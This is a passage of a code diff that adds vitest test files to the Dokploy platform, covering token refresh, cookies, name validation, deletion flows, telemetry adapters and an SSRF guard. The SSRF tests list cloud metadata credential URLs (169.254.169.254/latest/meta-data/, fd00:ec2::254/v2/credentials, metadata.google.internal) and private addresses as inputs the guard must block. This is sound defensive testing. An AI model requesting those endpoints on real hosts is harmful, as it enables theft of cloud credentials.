validRefreshToken = `refresh-${issued}`;
return Response.json({
access_token: `access-${issued}`,
refresh_token: validRefreshToken,
expires_in: 7200,
});
});
return {
fetch,
failNextRequest: () => {
failNext = true;
},
};
};
describe("refreshGitlabToken", () => {
let gitlab: ReturnType<typeof createGitlab>;
beforeEach(() => {
store.provider = {
gitlabId: GITLAB_ID,
gitlabUrl: "https://gitlab.example.com",
gitlabInternalUrl: null,
applicationId: "app-id",
secret: "app-secret",
accessToken: "access-1",
refreshToken: "refresh-1",
expiresAt: 0,
};
gitlab = createGitlab();
vi.stubGlobal("fetch", gitlab.fetch);
});
it("sends one refresh request when two callers find the token expired at the same time", async () => {
await Promise.all([
refreshGitlabToken(GITLAB_ID),
refreshGitlabToken(GITLAB_ID),
]);
expect(gitlab.fetch).toHaveBeenCalledTimes(1);
expect(store.provider.refreshToken).toBe("refresh-2");
});
it("refreshes again after a failed refresh", async () => {
gitlab.failNextRequest();
await expect(refreshGitlabToken(GITLAB_ID)).rejects.toThrow(
"Failed to refresh token: Internal Server Error",
);
await refreshGitlabToken(GITLAB_ID);
expect(gitlab.fetch).toHaveBeenCalledTimes(2);
expect(store.provider.refreshToken).toBe("refresh-2");
});
});
@@ -0,0 +1,46 @@
import { describe, expect, it } from "vitest";
import { isHttpsRequest, secureSetCookie } from "@/lib/secure-cookies";
describe("isHttpsRequest", () => {
it("returns true when X-Forwarded-Proto is https", () => {
expect(isHttpsRequest("https")).toBe(true);
});
it("returns false for http or a missing header", () => {
expect(isHttpsRequest("http")).toBe(false);
expect(isHttpsRequest(undefined)).toBe(false);
});
it("uses the left-most value of a proxy chain", () => {
expect(isHttpsRequest("https, http")).toBe(true);
expect(isHttpsRequest("http, https")).toBe(false);
});
it("handles an array header value and is case-insensitive", () => {
expect(isHttpsRequest(["HTTPS", "http"])).toBe(true);
});
});
describe("secureSetCookie", () => {
it("adds Secure to a cookie that lacks it", () => {
expect(
secureSetCookie("better-auth.session_token=abc; Path=/; HttpOnly"),
).toBe("better-auth.session_token=abc; Path=/; HttpOnly; Secure");
});
it("does not duplicate Secure when already present", () => {
const cookie = "better-auth.session_token=abc; Path=/; Secure; HttpOnly";
expect(secureSetCookie(cookie)).toBe(cookie);
});
it("applies to every cookie in an array", () => {
expect(secureSetCookie(["a=1; Path=/", "b=2; Path=/; Secure"])).toEqual([
"a=1; Path=/; Secure",
"b=2; Path=/; Secure",
]);
});
it("passes a numeric header value through untouched", () => {
expect(secureSetCookie(123)).toBe(123);
});
});
@@ -0,0 +1,66 @@
import { apiCreateLibsql } from "@dokploy/server/db/schema";
import { APP_NAME_MESSAGE } from "@dokploy/server/db/schema/utils";
import { describe, expect, it } from "vitest";
describe("apiCreateLibsql appName", () => {
const validBase = {
name: "My libSQL",
dockerImage: "ghcr.io/tursodatabase/libsql-server:v0.24.32",
environmentId: "env-1",
description: null,
databaseUser: "admin",
databasePassword: "secretPassword1",
sqldNode: "primary" as const,
sqldPrimaryUrl: null,
enableNamespaces: false,
serverId: null,
};
it.each([
["a space", "my libsql"],
["an at sign", "repro@lib"],
["a slash", "team/libsql"],
["a colon", "libsql:1"],
])("refuses an appName with %s", (_, appName) => {
const result = apiCreateLibsql.safeParse({ ...validBase, appName });
expect(result.success).toBe(false);
if (!result.success) {
const appNameIssues = result.error.issues.filter(
(issue) => issue.path[0] === "appName",
);
expect(appNameIssues.map((issue) => issue.message)).toEqual([
APP_NAME_MESSAGE,
]);
}
});
it("accepts an appName of letters, numbers, dots, underscores and hyphens", () => {
const result = apiCreateLibsql.safeParse({
...validBase,
appName: "my-libsql.db_1",
});
expect(result.success).toBe(true);
});
it("refuses an appName longer than 63 characters", () => {
const result = apiCreateLibsql.safeParse({
...validBase,
appName: "a".repeat(64),
});
expect(result.success).toBe(false);
if (!result.success) {
const appNameIssues = result.error.issues.filter(
(issue) => issue.path[0] === "appName",
);
expect(appNameIssues.map((issue) => issue.code)).toEqual(["too_big"]);
}
});
it("accepts an appName of 63 characters", () => {
const result = apiCreateLibsql.safeParse({
...validBase,
appName: "a".repeat(63),
});
expect(result.success).toBe(true);
});
});
@@ -0,0 +1,56 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
findOwnedOrganizations: vi.fn(),
transaction: vi.fn(),
removeVectorAgents: vi.fn(),
calls: [] as string[],
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: { organization: { findMany: mocks.findOwnedOrganizations } },
transaction: mocks.transaction,
},
}));
vi.mock("@dokploy/server/services/organization", () => ({
removeVectorAgents: mocks.removeVectorAgents,
}));
const { deleteUserAccountData } = await import(
"@dokploy/server/services/account-deletion"
);
beforeEach(() => {
mocks.calls.length = 0;
mocks.findOwnedOrganizations.mockReset();
mocks.removeVectorAgents
.mockReset()
.mockImplementation(async (id: string) => mocks.calls.push(`agents:${id}`));
mocks.transaction.mockReset().mockImplementation(async () => {
mocks.calls.push("delete");
return { email: "a@b.c", organizationsDeleted: 2 };
});
});
describe("deleteUserAccountData", () => {
it("removes the Vector agents of every owned organization before deleting the user", async () => {
mocks.findOwnedOrganizations.mockResolvedValue([
{ id: "org-a" },
{ id: "org-b" },
]);
await deleteUserAccountData("user-1");
expect(mocks.calls).toEqual(["agents:org-a", "agents:org-b", "delete"]);
});
it("deletes the user without touching agents when it owns no organization", async () => {
mocks.findOwnedOrganizations.mockResolvedValue([]);
await deleteUserAccountData("user-1");
expect(mocks.removeVectorAgents).not.toHaveBeenCalled();
expect(mocks.calls).toEqual(["delete"]);
});
});
@@ -0,0 +1,542 @@
import {
getTelemetryProviderAdapter,
telemetryProviderAdapters,
} from "@dokploy/server/services/logs-and-metrics/providers/registry";
import type { TelemetryProviderRuntimeConfig } from "@dokploy/server/services/logs-and-metrics/types";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const aws = vi.hoisted(() => ({
describeLogGroups: vi.fn(),
putMetricData: vi.fn(),
}));
vi.mock("node:dns/promises", () => ({
lookup: async () => [{ address: "93.184.216.34" }],
}));
vi.mock("@aws-sdk/client-cloudwatch-logs", () => ({
CloudWatchLogsClient: class {
send = aws.describeLogGroups;
},
DescribeLogGroupsCommand: class {
constructor(public input: unknown) {}
},
}));
vi.mock("@aws-sdk/client-cloudwatch", () => ({
CloudWatchClient: class {
send = aws.putMetricData;
},
PutMetricDataCommand: class {
constructor(public input: unknown) {}
},
}));
const baseConfig: TelemetryProviderRuntimeConfig = {
telemetryProviderId: "provider-1",
name: "test",
signals: ["metrics"],
endpoint: null,
apiKey: null,
apiSecret: null,
extraConfig: null,
};
const originalFetch = global.fetch;
const fetchMock = vi.fn();
const respond = (status: number, body: unknown = "") =>
new Response(
status === 204
? null
: typeof body === "string"
? body
: JSON.stringify(body),
{ status },
);
beforeEach(() => {
fetchMock.mockReset();
aws.describeLogGroups.mockReset();
aws.putMetricData.mockReset();
global.fetch = fetchMock as unknown as typeof fetch;
});
afterEach(() => {
global.fetch = originalFetch;
});
const calledUrls = () => fetchMock.mock.calls.map((call) => String(call[0]));
describe("registry", () => {
it("resolves the nine provider types, each with a non-empty valid signal list", () => {
const types = [
"loki",
"prometheus_remote_write",
"new_relic",
"influxdb",
"datadog",
"aws_cloudwatch",
"splunk_hec",
"elasticsearch",
"betterstack",
] as const;
expect(Object.keys(telemetryProviderAdapters).sort()).toEqual(
[...types].sort(),
);
for (const type of types) {
const adapter = getTelemetryProviderAdapter(type);
expect(adapter.type).toBe(type);
expect(adapter.signals.length).toBeGreaterThan(0);
expect(
adapter.signals.every((s) => s === "logs" || s === "metrics"),
).toBe(true);
}
expect(telemetryProviderAdapters.loki.signals).toEqual(["logs"]);
expect(telemetryProviderAdapters.prometheus_remote_write.signals).toEqual([
"metrics",
]);
expect(telemetryProviderAdapters.datadog.signals).toEqual([
"logs",
"metrics",
]);
});
});
describe("prometheusRemoteWriteAdapter", () => {
const adapter = telemetryProviderAdapters.prometheus_remote_write;
const endpoint = "http://prom.example.com:9090/api/v1/write";
it("builds a sink without auth, with the healthcheck disabled", () => {
const sink = adapter.toVectorSink(
{ ...baseConfig, endpoint },
"sink_1",
"dokploy_metrics_scope",
"metrics",
);
expect(sink).toMatchObject({
type: "prometheus_remote_write",
inputs: ["dokploy_metrics_scope"],
endpoint,
healthcheck: { enabled: false },
});
expect(sink.auth).toBeUndefined();
expect(sink.tenant_id).toBeUndefined();
});
it("uses basic auth with a username, bearer with a token alone, and sets tenant_id", () => {
const basic = adapter.toVectorSink(
{
...baseConfig,
endpoint,
apiKey: "pw",
extraConfig: { username: "12345", tenantId: "team-a" },
},
"sink_1",
"scope",
"metrics",
);
expect(basic.auth).toEqual({
strategy: "basic",
user: "12345",
password: "pw",
});
expect(basic.tenant_id).toBe("team-a");
const bearer = adapter.toVectorSink(
{ ...baseConfig, endpoint, apiKey: "tok" },
"sink_1",
"scope",
"metrics",
);
expect(bearer.auth).toEqual({ strategy: "bearer", token: "tok" });
});
it("rejects an endpoint that is not an http(s) URL", () => {
expect(() =>
adapter.validateConfig?.({ ...baseConfig, endpoint: "not a url" }),
).toThrow(/valid http\(s\) URL/);
expect(() =>
adapter.validateConfig?.({ ...baseConfig, endpoint: "ftp://x" }),
).toThrow(/valid http\(s\) URL/);
});
it("treats 2xx and 400 as success and gives distinct errors for 401 and 404", async () => {
fetchMock.mockResolvedValueOnce(respond(204));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint }),
).resolves.toBeUndefined();
fetchMock.mockResolvedValueOnce(respond(400));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint }),
).resolves.toBeUndefined();
fetchMock.mockResolvedValueOnce(respond(401));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint, apiKey: "bad" }),
).rejects.toThrow(/rejected the credentials \(status 401\)/);
fetchMock.mockResolvedValueOnce(respond(404));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint }),
).rejects.toThrow(/not found at this URL \(status 404\)/);
});
it("sends the auth header and the tenant header on the test request", async () => {
fetchMock.mockResolvedValueOnce(respond(204));
await adapter.testConnection?.({
...baseConfig,
endpoint,
apiKey: "tok",
extraConfig: { tenantId: "team-a" },
});
const init = fetchMock.mock.calls[0]?.[1] as RequestInit;
expect(init.method).toBe("POST");
expect(init.headers).toMatchObject({
Authorization: "Bearer tok",
"X-Scope-OrgID": "team-a",
});
});
});
describe("newRelicAdapter", () => {
const adapter = telemetryProviderAdapters.new_relic;
const config = {
...baseConfig,
apiKey: "license",
extraConfig: { accountId: "123" },
};
it("defaults to the us region and accepts eu", () => {
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "new_relic",
api: "metrics",
license_key: "license",
account_id: "123",
region: "us",
},
);
expect(
adapter.toVectorSink(
{ ...config, extraConfig: { accountId: "123", region: "EU" } },
"s",
"scope",
"metrics",
).region,
).toBe("eu");
});
it("rejects an unknown region", () => {
expect(() =>
adapter.validateConfig?.({
...config,
extraConfig: { accountId: "123", region: "jp" },
}),
).toThrow(/"us" or "eu"/);
});
it("posts a gauge to the regional metric API: 202 passes, 403 is an invalid key", async () => {
fetchMock.mockResolvedValueOnce(respond(202));
await expect(
adapter.testConnection?.({
...config,
extraConfig: { accountId: "123", region: "eu" },
}),
).resolves.toBeUndefined();
expect(calledUrls()[0]).toBe(
"https://metric-api.eu.newrelic.com/metric/v1",
);
fetchMock.mockResolvedValueOnce(respond(403));
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/rejected the license key/,
);
expect(calledUrls()[1]).toBe("https://metric-api.newrelic.com/metric/v1");
});
});
describe("influxdbAdapter", () => {
const adapter = telemetryProviderAdapters.influxdb;
const config = {
...baseConfig,
endpoint: "http://influx.example.com:8086",
apiKey: "token",
extraConfig: { org: "dokploy", bucket: "metrics" },
};
it("builds an influxdb_metrics v2 sink", () => {
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toEqual({
type: "influxdb_metrics",
inputs: ["scope"],
endpoint: "http://influx.example.com:8086",
org: "dokploy",
bucket: "metrics",
token: "token",
default_namespace: "dokploy",
version: "2",
buffer: { type: "disk", max_size: 268_435_488, when_full: "block" },
});
});
it("writes a test point: 204 passes, 401 and 404 give distinct errors", async () => {
fetchMock.mockResolvedValueOnce(respond(204));
await expect(adapter.testConnection?.(config)).resolves.toBeUndefined();
expect(calledUrls()[0]).toBe(
"http://influx.example.com:8086/api/v2/write?org=dokploy&bucket=metrics&precision=s",
);
fetchMock.mockResolvedValueOnce(respond(401));
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/rejected the token/,
);
fetchMock.mockResolvedValueOnce(respond(404));
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/organization or bucket not found/,
);
});
});
describe("datadogAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.datadog;
const config = {
...baseConfig,
signals: ["logs", "metrics"] as const,
apiKey: "dd",
};
it("ships metrics through datadog_metrics without a transform", () => {
expect(
adapter.toVectorTransform?.(config as never, "t", "scope", "metrics"),
).toBeNull();
expect(
adapter.toVectorSink(config as never, "s", "scope", "metrics"),
).toMatchObject({
type: "datadog_metrics",
inputs: ["scope"],
default_api_key: "dd",
site: "datadoghq.com",
});
});
it("keeps the logs sink and ddtags transform unchanged", () => {
expect(
adapter.toVectorTransform?.(config as never, "t", "scope", "logs"),
).toMatchObject({ type: "remap", inputs: ["scope"] });
expect(adapter.toVectorSink(config as never, "s", "t", "logs").type).toBe(
"datadog_logs",
);
});
});
describe("betterStackAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.betterstack;
const config = {
...baseConfig,
endpoint: "in.logs.betterstack.com",
apiKey: "token",
};
it("posts metrics to /metrics without a transform", () => {
expect(
adapter.toVectorTransform?.(config, "t", "scope", "metrics"),
).toBeNull();
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "http",
uri: "https://in.logs.betterstack.com/metrics",
auth: { strategy: "bearer", token: "token" },
},
);
expect(adapter.toVectorSink(config, "s", "scope", "logs").uri).toBe(
"https://in.logs.betterstack.com/",
);
});
it("tests each selected signal: two requests for logs and metrics, one for logs only", async () => {
fetchMock.mockResolvedValue(respond(202));
await adapter.testConnection?.({ ...config, signals: ["logs", "metrics"] });
expect(calledUrls()).toEqual([
"https://in.logs.betterstack.com/",
"https://in.logs.betterstack.com/metrics",
]);
fetchMock.mockClear();
await adapter.testConnection?.({ ...config, signals: ["logs"] });
expect(calledUrls()).toEqual(["https://in.logs.betterstack.com/"]);
});
});
describe("awsCloudwatchAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.aws_cloudwatch;
const config = {
...baseConfig,
apiKey: "AKIA",
apiSecret: "secret",
extraConfig: {
region: "us-east-1",
logGroup: "/dokploy/logs",
metricsNamespace: "Dokploy",
},
};
it("scopes the log fields to logs and the namespace to metrics", () => {
const bySignal = Object.fromEntries(
adapter.credentialFields.map((f) => [f.key, f.signal]),
);
expect(bySignal).toMatchObject({
logGroup: "logs",
logStream: "logs",
metricsNamespace: "metrics",
});
expect(bySignal.region).toBeUndefined();
});
it("rejects a namespace starting with AWS/ only when metrics are selected", () => {
const bad = {
...config,
extraConfig: { ...config.extraConfig, metricsNamespace: "AWS/Foo" },
};
expect(() => adapter.validateConfig?.(bad)).toThrow(
/cannot start with AWS\//,
);
expect(() =>
adapter.validateConfig?.({ ...bad, signals: ["logs"] }),
).not.toThrow();
});
it("filters metrics to the allowlist and sets the namespace in the transform", () => {
const transform = adapter.toVectorTransform?.(
config,
"t",
"scope",
"metrics",
);
expect(transform).toMatchObject({
type: "remap",
inputs: ["scope"],
drop_on_abort: true,
});
expect(transform?.source).toContain(
'if !includes(["cpu_seconds_total","memory_used_bytes","memory_total_bytes","filesystem_used_bytes","filesystem_total_bytes","network_receive_bytes_total","network_transmit_bytes_total","load1","load5","load15","container_cpu_usage_seconds_total","container_memory_usage_bytes","container_network_receive_bytes_total","container_network_transmit_bytes_total"], .name) { abort }',
);
expect(transform?.source).toContain('.namespace = "Dokploy"');
expect(adapter.toVectorSink(config, "s", "t", "metrics")).toMatchObject({
type: "aws_cloudwatch_metrics",
inputs: ["t"],
default_namespace: "Dokploy",
region: "us-east-1",
auth: { access_key_id: "AKIA", secret_access_key: "secret" },
});
});
it("tests metrics with PutMetricData only, and translates AccessDenied", async () => {
aws.putMetricData.mockResolvedValue({});
await adapter.testConnection?.({ ...config, signals: ["metrics"] });
expect(aws.putMetricData).toHaveBeenCalledTimes(1);
expect(aws.describeLogGroups).not.toHaveBeenCalled();
expect(aws.putMetricData.mock.calls[0]?.[0]).toMatchObject({
input: { Namespace: "Dokploy" },
});
aws.putMetricData.mockRejectedValue(
Object.assign(new Error("denied"), { name: "AccessDenied" }),
);
await expect(
adapter.testConnection?.({ ...config, signals: ["metrics"] }),
).rejects.toThrow(/needs cloudwatch:PutMetricData/);
});
it("tests logs with DescribeLogGroups only", async () => {
aws.describeLogGroups.mockResolvedValue({});
await adapter.testConnection?.({ ...config, signals: ["logs"] });
expect(aws.describeLogGroups).toHaveBeenCalledTimes(1);
expect(aws.putMetricData).not.toHaveBeenCalled();
});
});
describe("splunkAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.splunk_hec;
const config = {
...baseConfig,
endpoint: "https://splunk.example.com:8088",
apiKey: "hec",
extraConfig: { metricsIndex: "dokploy_metrics" },
};
it("requires the metrics index only for metrics", () => {
const field = adapter.credentialFields.find(
(f) => f.key === "metricsIndex",
);
expect(field).toMatchObject({ required: true, signal: "metrics" });
expect(
adapter.credentialFields.find((f) => f.key === "index")?.signal,
).toBe("logs");
});
it("builds a splunk_hec_metrics sink", () => {
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "splunk_hec_metrics",
endpoint: "https://splunk.example.com:8088",
default_token: "hec",
index: "dokploy_metrics",
source: "dokploy",
sourcetype: "dokploy:metrics",
},
);
});
it("writes a test metric and translates HEC code 7", async () => {
fetchMock.mockResolvedValueOnce(respond(200, { text: "Success", code: 0 }));
await expect(adapter.testConnection?.(config)).resolves.toBeUndefined();
expect(calledUrls()).toEqual([
"https://splunk.example.com:8088/services/collector",
]);
fetchMock.mockResolvedValueOnce(
respond(400, { text: "Incorrect index", code: 7 }),
);
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/can't write to the metrics index "dokploy_metrics"/,
);
});
it("only checks the health endpoint for logs", async () => {
fetchMock.mockResolvedValueOnce(respond(200));
await adapter.testConnection?.({ ...config, signals: ["logs"] });
expect(calledUrls()).toEqual([
"https://splunk.example.com:8088/services/collector/health",
]);
});
});
describe("elasticsearchAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const config = { ...baseConfig, endpoint: "https://es.example.com:9200" };
it("uses the daily default metrics index when none is set, and the custom one otherwise", () => {
expect(
adapter.toVectorTransform?.(config, "t", "scope", "metrics"),
).toBeNull();
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "elasticsearch",
api_version: "v8",
bulk: { index: "dokploy-metrics-%Y.%m.%d" },
},
);
expect(
adapter.toVectorSink(
{ ...config, extraConfig: { metricsIndex: "metrics-custom" } },
"s",
"scope",
"metrics",
).bulk,
).toEqual({ index: "metrics-custom" });
});
it("keeps the logs sink without a bulk index unless one is set", () => {
expect(adapter.toVectorSink(config, "s", "t", "logs").bulk).toBeUndefined();
});
});
@@ -0,0 +1,85 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
findServersByOrganizationForVectorAgent: vi.fn(),
getWebServerSettings: vi.fn(),
releaseWebServerAgent: vi.fn(),
removeVectorAgent: vi.fn(),
deleteWhere: vi.fn(),
}));
vi.mock("@dokploy/server/constants", () => ({ IS_CLOUD: false }));
vi.mock("@dokploy/server/db", () => ({
db: { delete: () => ({ where: mocks.deleteWhere }) },
}));
vi.mock("@dokploy/server/services/server", () => ({
findServersByOrganizationForVectorAgent:
mocks.findServersByOrganizationForVectorAgent,
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
releaseWebServerAgent: mocks.releaseWebServerAgent,
}));
vi.mock("@dokploy/server/setup/vector-setup", () => ({
removeVectorAgent: mocks.removeVectorAgent,
withVectorTargetLock: (_: string | undefined, fn: () => Promise<unknown>) =>
fn(),
}));
const { deleteOrganization } = await import(
"@dokploy/server/services/organization"
);
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([]);
mocks.deleteWhere.mockResolvedValue({ count: 1 });
vi.spyOn(console, "error").mockImplementation(() => {});
});
describe("deleteOrganization", () => {
it("attempts cleanup on every server, even with an empty selection, and swallows errors", async () => {
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([
{ serverId: "server-1", telemetryProviderIds: ["lp-1"] },
{ serverId: "server-2", telemetryProviderIds: ["lp-1"] },
{ serverId: "server-3", telemetryProviderIds: [] },
]);
mocks.removeVectorAgent.mockImplementation(async (serverId?: string) => {
if (serverId === "server-1") throw new Error("ssh down");
});
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: null,
});
await deleteOrganization("org-a");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-2");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-3");
expect(mocks.deleteWhere).toHaveBeenCalled();
});
it("leaves the local agent alone when another organization owns it", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-b",
});
await deleteOrganization("org-a");
expect(mocks.removeVectorAgent).not.toHaveBeenCalled();
expect(mocks.releaseWebServerAgent).not.toHaveBeenCalled();
});
it("releases the local agent even when removing it fails", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
});
mocks.removeVectorAgent.mockRejectedValue(new Error("docker down"));
await deleteOrganization("org-a");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith();
expect(mocks.releaseWebServerAgent).toHaveBeenCalledWith("org-a");
expect(mocks.deleteWhere).toHaveBeenCalled();
});
});
@@ -0,0 +1,220 @@
import { createServer, type Server } from "node:http";
import type { AddressInfo } from "node:net";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
lookup: vi.fn(),
}));
vi.mock("node:dns", () => ({
lookup: mocks.lookup,
}));
const loadModule = async (isCloud: boolean) => {
vi.resetModules();
vi.doMock("@dokploy/server/constants", () => ({ IS_CLOUD: isCloud }));
return await import(
"@dokploy/server/services/logs-and-metrics/provider-fetch"
);
};
const loadFetch = async (isCloud: boolean) =>
(await loadModule(isCloud)).providerFetch;
const resolvesTo = (...addresses: string[]) =>
mocks.lookup.mockImplementation(
(_host: string, _options: unknown, callback: Function) =>
callback(
null,
addresses.map((address) => ({
address,
family: address.includes(":") ? 6 : 4,
})),
),
);
describe("providerFetch — blocked endpoint guard", () => {
const originalFetch = global.fetch;
beforeEach(() => {
mocks.lookup.mockReset();
global.fetch = vi.fn().mockResolvedValue(new Response("ok"));
});
afterEach(() => {
global.fetch = originalFetch;
});
it("rejects a literal AWS/GCP/Azure metadata IP without ever calling fetch", async () => {
const providerFetch = await loadFetch(false);
await expect(
providerFetch("http://169.254.169.254/latest/meta-data/"),
).rejects.toThrow(/metadata/i);
expect(global.fetch).not.toHaveBeenCalled();
expect(mocks.lookup).not.toHaveBeenCalled();
});
it("rejects the metadata IP written as an IPv4-mapped IPv6 address", async () => {
const providerFetch = await loadFetch(false);
for (const address of ["[::ffff:169.254.169.254]", "[::ffff:a9fe:a9fe]"]) {
await expect(
providerFetch(`http://${address}/latest/meta-data/`),
`expected ${address} to be rejected`,
).rejects.toThrow(/metadata/i);
}
expect(global.fetch).not.toHaveBeenCalled();
});
it("rejects the AWS ECS metadata IPv6 address", async () => {
const providerFetch = await loadFetch(false);
await expect(
providerFetch("http://[fd00:ec2::254]/v2/credentials"),
).rejects.toThrow(/metadata/i);
expect(global.fetch).not.toHaveBeenCalled();
});
it("rejects every fe80::/10 link-local address, not just literal fe80: ones", async () => {
const providerFetch = await loadFetch(false);
for (const address of [
"[fe80::1]",
"[fe90::1]",
"[fea0::1]",
"[febf::1]",
]) {
await expect(
providerFetch(`http://${address}/`),
`expected ${address} to be rejected`,
).rejects.toThrow(/metadata/i);
}
expect(global.fetch).not.toHaveBeenCalled();
});
it("does not block a hostname just because it starts like a link-local prefix", async () => {
const providerFetch = await loadFetch(false);
await providerFetch("https://feature-logs.example.com/ready");
expect(global.fetch).toHaveBeenCalledTimes(1);
});
it("rejects the GCP metadata hostname without needing DNS resolution", async () => {
const providerFetch = await loadFetch(false);
await expect(
providerFetch("http://metadata.google.internal/computeMetadata/v1/"),
).rejects.toThrow(/metadata/i);
expect(global.fetch).not.toHaveBeenCalled();
expect(mocks.lookup).not.toHaveBeenCalled();
});
it("rejects loopback and private-network endpoints in cloud", async () => {
const providerFetch = await loadFetch(true);
for (const url of [
"http://10.0.0.5:3100/ready",
"http://127.0.0.1:3100/ready",
"http://localhost:3100/ready",
"http://[::1]:3100/ready",
"http://0.0.0.0:3100/ready",
"http://100.100.100.200/latest/meta-data/",
"http://[::]:3100/ready",
]) {
await expect(
providerFetch(url),
`expected ${url} to be rejected`,
).rejects.toThrow(/blocked/i);
}
expect(global.fetch).not.toHaveBeenCalled();
});
it("does not follow redirects", async () => {
const providerFetch = await loadFetch(false);
await providerFetch("https://logs.example.com/ready");
expect(global.fetch).toHaveBeenCalledWith(
"https://logs.example.com/ready",
expect.objectContaining({ redirect: "error" }),
);
});
});
describe("providerFetch — address checked at connect time", () => {
let server: Server;
let port: number;
let hostHeader: string | undefined;
beforeEach(async () => {
mocks.lookup.mockReset();
hostHeader = undefined;
server = createServer((req, res) => {
hostHeader = req.headers.host;
res.end("ok");
});
await new Promise<void>((resolve) =>
server.listen(0, "127.0.0.1", resolve),
);
port = (server.address() as AddressInfo).port;
});
afterEach(async () => {
await new Promise((resolve) => server.close(resolve));
});
it("rejects a hostname whose lookup returns a metadata address", async () => {
const providerFetch = await loadFetch(false);
resolvesTo("203.0.113.10", "169.254.169.254");
await expect(
providerFetch("http://attacker-controlled.example.com/"),
).rejects.toThrow(/metadata/i);
expect(mocks.lookup).toHaveBeenCalledWith(
"attacker-controlled.example.com",
expect.anything(),
expect.any(Function),
);
});
it("rejects a hostname resolving to a private address in cloud", async () => {
const providerFetch = await loadFetch(true);
resolvesTo("127.0.0.1");
await expect(
providerFetch(`http://loki.internal.example.com:${port}/ready`),
).rejects.toThrow(/blocked/i);
expect(hostHeader).toBeUndefined();
});
it("rejects when DNS resolution fails", async () => {
const providerFetch = await loadFetch(false);
mocks.lookup.mockImplementation(
(_host: string, _options: unknown, callback: Function) =>
callback(Object.assign(new Error("ENOTFOUND"), { code: "ENOTFOUND" })),
);
await expect(
providerFetch("http://does-not-exist.invalid/"),
).rejects.toThrow();
expect(hostHeader).toBeUndefined();
});
it("connects to the address it validated, keeping the original Host header (self-hosted private endpoint)", async () => {
const providerFetch = await loadFetch(false);
resolvesTo("127.0.0.1");
const response = await providerFetch(
`http://loki.internal.example.com:${port}/ready`,
);
expect(await response.text()).toBe("ok");
expect(hostHeader).toBe(`loki.internal.example.com:${port}`);
});
it("passes a public address through in cloud", async () => {
const { guardedLookup } = await loadModule(true);
resolvesTo("203.0.113.10");
const result = await new Promise((resolve, reject) =>
guardedLookup("api.datadoghq.com", { all: true }, (error, addresses) =>
error ? reject(error) : resolve(addresses),
),
);
expect(result).toEqual([{ address: "203.0.113.10", family: 4 }]);
});
});
@@ -0,0 +1,16 @@
import { describe, expect, it } from "vitest";
import { providerLabel } from "@/components/dashboard/settings/logs-and-metrics/show-servers";
describe("providerLabel", () => {
it("names what the provider sends next to its name", () => {
expect(providerLabel({ name: "Loki prod", signals: ["logs"] })).toBe(
"Loki prod (logs)",
);
expect(providerLabel({ name: "Splunk", signals: ["metrics"] })).toBe(
"Splunk (metrics)",
);
expect(
providerLabel({ name: "Datadog", signals: ["logs", "metrics"] }),
).toBe("Datadog (logs and metrics)");
});
});
@@ -0,0 +1,101 @@
import type { SQL } from "drizzle-orm";
import { PgDialect } from "drizzle-orm/pg-core";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
deleted: [] as unknown[],
updates: [] as Array<{ table: unknown; values: Record<string, unknown> }>,
updatedServers: [] as Array<{ serverId: string }>,
updatedLocal: [] as Array<{ id: string }>,
queried: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => {
const tx = {
delete: () => ({
where: () => ({
returning: () => Promise.resolve(mocks.deleted),
}),
}),
update: (table: unknown) => ({
set: (values: Record<string, unknown>) => ({
where: () => ({
returning: () => {
mocks.updates.push({ table, values });
return Promise.resolve(
mocks.updates.length === 1
? mocks.updatedServers
: mocks.updatedLocal,
);
},
}),
}),
}),
};
return {
db: {
transaction: (fn: (tx: unknown) => unknown) => fn(tx),
query: {
server: { findMany: mocks.queried },
webServerSettings: { findFirst: mocks.queried },
},
},
};
});
const { server, webServerSettings } = await import("@dokploy/server/db/schema");
const { removeTelemetryProvider } = await import(
"@dokploy/server/services/logs-and-metrics/service"
);
const render = (value: unknown) => new PgDialect().sqlToQuery(value as SQL).sql;
describe("removeTelemetryProvider", () => {
beforeEach(() => {
mocks.updates = [];
mocks.updatedServers = [{ serverId: "server-1" }];
mocks.updatedLocal = [{ id: "ws-1" }];
mocks.queried.mockReset();
});
it("drops the provider id from the selection of every server and of the local host", async () => {
mocks.deleted = [{ telemetryProviderId: "lp-1" }];
const { provider, targets } = await removeTelemetryProvider("lp-1");
expect(provider).toEqual({ telemetryProviderId: "lp-1" });
